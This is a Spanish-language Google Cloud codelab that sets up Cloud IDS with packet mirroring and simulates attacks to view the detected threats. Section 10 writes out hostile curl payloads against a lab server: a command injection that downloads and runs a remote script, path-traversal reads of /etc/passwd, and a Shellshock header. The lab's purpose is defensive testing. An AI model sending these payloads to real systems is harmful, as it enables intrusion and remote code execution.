1. Introducción
En este lab, implementarás IDS de Cloud, un servicio avanzado de detección de intrusiones de nueva generación que proporciona detección de amenazas de intrusiones, software malicioso, software espía y ataques de comando y control. Deberás simular varios ataques y verás los detalles de la amenaza en la consola de Cloud.
Qué aprenderás
- Cómo crear un extremo del IDS de Cloud
- Cómo crear 2 máquinas virtuales con comandos de gcloud
- Cómo crear una política de duplicación de paquetes
- Cómo simular un tráfico de ataque desde una máquina virtual
- Cómo ver los detalles de las amenazas en la consola de Cloud y en Cloud Logging
Requisitos
- Conocimiento de comandos básicos de Linux
2. Casos de uso de Cloud IDS
IDS de Cloud proporciona un servicio de detección de intrusiones (IDS) de próxima generación nativo de Google Cloud para que los clientes cumplan con sus requisitos de detección avanzada de amenazas y cumplimiento, como PCI 11.4. El servicio cuenta con la tecnología de protección contra amenazas de Palo Alto Networks para proporcionar detección avanzada de intrusiones. La combinación de la infraestructura de primer nivel de Google Cloud con la seguridad de primer nivel de Palo Alto Networks proporciona a los clientes una combinación inigualable de un servicio de detección de amenazas avanzado, completamente administrado, de alto rendimiento y con la mayor eficacia de seguridad.
A medida que los clientes migran a la nube, la seguridad es una de sus principales prioridades. Quieren tener controles de seguridad similares a los que tienen en las instalaciones, como el servicio de detección de intrusiones (IDS) en la nube. Prefieren usar una solución de IDS administrada nativa de la nube para facilitar la implementación, obtener un alto rendimiento y optimizar los costos en comparación con la implementación de una solución de seguridad de terceros y la administración de la infraestructura o el uso de sus propias firmas. Google Cloud IDS proporciona un servicio IDS administrado integral y con ajuste de escala automático que permite a los clientes dedicar su tiempo a analizar y mitigar las amenazas, y libera su tiempo y recursos para administrar la infraestructura o las firmas de amenazas.
El IDS de Cloud se implementa fuera de banda y puede detectar amenazas y generar alertas sobre ellas, pero no puede bloquearlas. Aprovecha la duplicación de paquetes de Google Cloud para hacer una copia del tráfico de red que se analiza con el motor de detección de amenazas de Palo Alto Networks.
3. Topología del codelab

Figura 1: Descripción general de la arquitectura de alto nivel de la implementación de IDS de Cloud para este lab.
4. Configuración y requisitos
Configuración del entorno de autoaprendizaje
- Accede a Google Cloud Console y crea un proyecto nuevo o reutiliza uno existente. Si aún no tienes una cuenta de Gmail o de Google Workspace, debes crear una.



- El Nombre del proyecto es el nombre visible de los participantes de este proyecto. Es una string de caracteres que no se utiliza en las API de Google y se puede actualizar en cualquier momento.
- El ID del proyecto debe ser único en todos los proyectos de Google Cloud y es inmutable (no se puede cambiar después de configurarlo). Cloud Console genera automáticamente una string única, que, por lo general, no importa cuál sea. En la mayoría de los codelabs, debes hacer referencia al ID del proyecto (suele ser
PROJECT_ID). Por lo tanto, si no te gusta, genera otro aleatorio o prueba con uno propio y comprueba si está disponible. Después de crear el proyecto, este ID se “congela” y no se puede cambiar. - Además, hay un tercer valor, el Número de proyecto, que usan algunas API. Obtén más información sobre estos tres valores en la documentación.
- A continuación, deberás habilitar la facturación en Cloud Console para usar las API o los recursos de Cloud. Ejecutar este codelab no debería costar mucho, tal vez nada. Si quieres cerrar los recursos para no se te facture más allá de este instructivo, sigue las instrucciones de “limpieza” que se encuentran al final del codelab. Los usuarios nuevos de Google Cloud son aptos para participar en el programa Prueba gratuita de USD 300.
Inicia Cloud Shell
Si bien Google Cloud y Spanner se pueden operar de manera remota desde tu laptop, en este codelab usarás Google Cloud Shell, un entorno de línea de comandos que se ejecuta en la nube.
En GCP Console, haga clic en el ícono de Cloud Shell en la barra de herramientas superior derecha:

El aprovisionamiento y la conexión al entorno deberían tomar solo unos minutos. Cuando termine el proceso, debería ver algo como lo siguiente:

Esta máquina virtual está cargada con todas las herramientas de desarrollo que necesitarás. Ofrece un directorio principal persistente de 5 GB y se ejecuta en Google Cloud, lo que permite mejorar considerablemente el rendimiento de la red y la autenticación. Puedes realizar todo tu trabajo en este lab usando simplemente un navegador.
5. Antes de comenzar
Habilita las APIs
En Cloud Shell, asegúrate de que tu ID del proyecto esté configurado.
gcloud config list project gcloud config set project [YOUR-PROJECT-NAME] export PROJECT_ID=$(gcloud config get-value project | sed '2d')
Habilita todos los servicios necesarios
gcloud services enable compute.googleapis.com gcloud services enable ids.googleapis.com gcloud services enable logging.googleapis.com
6. Crear red de VPC
Red de VPC
Desde Cloud Shell
gcloud compute networks create cloud-ids \ --subnet-mode=custom
Subred
Desde Cloud Shell
gcloud compute networks subnets create cloud-ids-useast1 \ --range=192.168.10.0/24 \ --network=cloud-ids \ --region=us-east1
Acceso privado a servicios
Desde Cloud Shell
gcloud compute addresses create cloud-ids-ips \ --global \ --purpose=VPC_PEERING \ --addresses=10.10.10.0 \ --prefix-length=24 \ --description="Cloud IDS Range" \ --network=cloud-ids
Conexión de Private Service Connect
Desde Cloud Shell
gcloud services vpc-peerings connect \ --service=servicenetworking.googleapis.com \ --ranges=cloud-ids-ips \ --network=cloud-ids \ --project=$PROJECT_ID
Reglas de firewall
Para permitir que IAP se conecte a tus instancias de VM, crea una regla de firewall que cumpla con lo siguiente:
- Se aplica a todas las instancias de VM a las que deseas acceder mediante IAP.
- Permite el tráfico de entrada desde el rango de IP 35.235.240.0/20. Este rango contiene todas las direcciones IP que IAP usa para el reenvío de TCP.
Desde Cloud Shell
gcloud compute firewall-rules create allow-iap-proxy \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:22 \ --source-ranges=35.235.240.0/20
Para permitir el puerto HTTP estándar (TCP 80) y el protocolo ICMP en el servidor, haz lo siguiente:
- Se aplica a los recursos con la etiqueta de red "servidor".
- Permite el ingreso desde todas las fuentes
Desde Cloud Shell
gcloud compute firewall-rules create allow-http-icmp \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:80,icmp \ --source-ranges=0.0.0.0/0 \ --target-tags=server
Crea una instancia de Cloud NAT
Cloud Router
Desde Cloud Shell
gcloud compute routers create cr-cloud-ids-useast1 \ --region=us-east1 \ --network=cloud-ids
Cloud NAT
Desde Cloud Shell
gcloud compute routers nats create nat-cloud-ids-useast1 \ --router=cr-cloud-ids-useast1 \ --router-region=us-east1 \ --auto-allocate-nat-external-ips \ --nat-all-subnet-ip-ranges
7. Crea un extremo del IDS de Cloud
En esta sección, crearás un extremo del IDS de Cloud en us-east1 con una gravedad establecida en informativa. La creación del extremo del IDS tarda aproximadamente 20 minutos.
Extremo de IDS
Desde Cloud Shell
gcloud ids endpoints create cloud-ids-east1 \ --network=cloud-ids \ --zone=us-east1-b \ --severity=INFORMATIONAL \ --async
Verifica que se haya iniciado el extremo del IDS de Cloud
gcloud ids endpoints list --project=$PROJECT_ID
Resultado:
ID: cloud-ids-east1 LOCATION: us-east1-b SEVERITY: INFORMATIONAL STATE: CREATING NETWORK: cloud-ids TRAFFIC_LOGS:
8. Crea 2 máquinas virtuales
En esta sección, crearás 2 máquinas virtuales. El primero será tu servidor web, que se replicará en el IDS de Cloud. La segunda máquina virtual será la fuente de tu tráfico de ataque.
Máquina virtual 1 (servidor)
Desde Cloud Shell
gcloud compute instances create server \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.20 \ --metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \ --tags=server \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
Máquina virtual 2 (cliente)
Desde Cloud Shell
gcloud compute instances create attacker \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.10 \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
9. Preparando el servidor
En esta tarea, validarás tu servidor y proporcionarás una carga útil de malware benigno para tu cliente.
Conéctate a la VM a través de SSH en Cloud Shell
gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap
Confirma que el servicio web se esté ejecutando
sudo systemctl status nginx
Salida: Verifica que esté activo y en ejecución
● nginx.service - A high performance web server and a reverse proxy server
Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
Docs: man:nginx(8)
Main PID: 1347 (nginx)
Tasks: 3 (limit: 4665)
Memory: 4.5M
CGroup: /system.slice/nginx.service
├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
├─1348 nginx: worker process
└─1349 nginx: worker process
May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.
Cambia el directorio al servicio web
cd /var/www/html/
Crea un archivo de malware benigno en el servidor web
sudo touch eicar.file
Pega el contenido
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file
Regresa a Cloud Shell
exit
Crea una política de replicación de paquetes del IDS de Cloud
Identifica la regla de reenvío del extremo de IDS y confirma que el estado del extremo de IDS sea "READY".
gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
Ejemplo de resultado: Copia el valor de "endpointForwardingRule".
user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b createTime: '2021-07-01T21:03:56.099839751Z' endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca endpointIp: 172.16.30.43 name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1 network: projects/ids-project/global/networks/cloud-ids severity: INFORMATIONAL state: READY updateTime: '2021-07-01T21:21:32.744309107Z'
Guarda la regla de reenvío del extremo de IDS en una variable.
export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)") echo $FORWARDING_RULE
Política de duplicación de paquetes
Desde Cloud Shell
gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \ --region=us-east1 \ --collector-ilb=$FORWARDING_RULE \ --network=cloud-ids \ --mirrored-subnets=cloud-ids-useast1
Verifica que se haya creado la política de duplicación de paquetes
Desde Cloud Shell
gcloud compute packet-mirrorings list
Salida
user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list NAME REGION NETWORK ENABLE cloud-ids-packet-mirroring us-east1 cloud-ids TRUE
10. Simula tráfico de ataque
Establece una conexión SSH a la máquina virtual del atacante (cliente).
Desde Cloud Shell
gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap
Ejecuta las siguientes solicitudes de curl para simular tráfico malicioso.
curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical
Sal de la VM para volver a Cloud Shell
exit
11. Revisa las amenazas que detectó el IDS de Cloud
Navega al panel del IDS de Cloud
Menú de navegación > Seguridad de red > IDS de Cloud

Navega a la pestaña Amenazas.

Como puedes ver, el IDS de Cloud capturó varios perfiles de tráfico de ataque y proporcionó los detalles de cada amenaza. Es posible que debas hacer clic en el botón "Actualizar" si no aparece ninguna amenaza. Ahora profundizaremos un poco más y revisaremos los detalles de la amenaza.
Ubica la amenaza "Bash Remote Code Execution Vulnerability", haz clic en los tres puntos que se encuentran a la derecha y selecciona "Ver detalles de la amenaza".


Ahora, veremos los detalles de este incidente en Cloud Logging. Haz clic en la flecha hacia la izquierda para volver a la página Amenazas .
Haz clic en los tres puntos que se encuentran a la derecha y selecciona "Ver registros de amenazas".


Los mismos detalles se proporcionan a Cloud Logging. Esto te permite enviar los registros a Cloud Storage, Chronicle o cualquier SIEM/SOAR. También puedes crear flujos de trabajo personalizados para ejecutar una acción de corrección basada en alertas, por ejemplo, crear una Cloud Function que se active cuando reciba una alerta y cree o actualice una regla de firewall para bloquear la dirección IP, o bien crear o actualizar una política de Cloud Armor.
12. Pasos para la limpieza
Sal de la instancia de VM (todas las pestañas)
exit
Borra los componentes del lab desde una sola terminal de Cloud Shell
gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet gcloud compute instances delete server --zone=us-east1-b --quiet gcloud compute instances delete attacker --zone=us-east1-b --quiet gcloud compute firewall-rules delete allow-iap-proxy --quiet gcloud compute firewall-rules delete allow-http-icmp --quiet gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet gcloud compute addresses delete cloud-ids-ips --global --quiet gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet gcloud compute networks delete cloud-ids --quiet
13. ¡Felicitaciones!
Felicitaciones por completar el codelab.
Temas abordados
- Casos de uso de Cloud IDS
- Requisitos de red
- API admitidas
- Se creó un extremo del IDS de Cloud
- Se implementaron 2 VMs
- Se generó tráfico de "ataque" desde el cliente.
- El IDS detectó amenazas verificadas
- Revisa los detalles y los registros de amenazas